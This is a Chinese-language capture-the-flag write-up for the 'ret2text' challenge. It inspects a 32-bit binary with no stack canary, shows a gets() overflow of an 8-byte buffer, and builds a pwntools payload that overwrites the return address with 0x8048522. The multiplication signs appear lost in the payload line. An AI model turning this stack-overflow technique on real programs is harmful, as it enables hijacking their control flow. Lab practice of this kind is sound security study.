題目ret2text
題目信息確認
使用file命令查看文件類型
root@CTF:/home/# file ret2text
ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=64894e1bcdc9d77d3d983e907eba2605dbf19103, with debug_info, not stripped
使用checksec查看是否有保護
root@CTF:/home/# checksec ret2text
[*] '/home/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
使用ida查看內容
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("Have you heard of buffer overflow?");
vulnerable();
puts("It seems that you know nothing about it ......");
return 0;
}
setbuf(xxxx,0) 關閉緩沖區
進入vulnerable()查看
int vulnerable()
{
char buffer[8]; // [esp+8h] [ebp-10h]
gets(buffer);
return 0;
}
創建了一個8個字節的緩存,但是gets函數允許向buffer輸入無限的內容。造成緩沖區溢出漏洞
根據圖
由ida中的注釋 char buffer[8]; // [esp+8h] [ebp-10h] 可以知道 這個buffer距離esp8個字符,距離ebp -16個字符(10h是16進制的10)
而ebp永遠指向 stack frame pointer 。那么就需要溢出16個字節
動態調試
使用動態調試工具確認溢出長度
gdb xxx 進入調試魔術xxx是指需要動態調試的文件
run 直接運行(一般在run之前使用斷點)
b *地址 或者 b main
使用 next 進行斷點前進。可以觀察一步步的運行結果
使用 s 進入某個具體的函數
或者使用 stack 24 查看24項stack
payload制作
使用 from pwn import * 導入所有pwn需要的工具
使用 io=process("./ret2text") 打開進程訪問鏈接
覆蓋數據
[ebp-10h] 一共16個字符。
覆蓋 return 4個字符
修改返回地址使用p32(0x8048522)
組成數據 payload=b'a'16+b'1'4+p32(0x8048522)
使用 io.send(payload) 發送payload
使用 io.interactive 創建交互式會話接口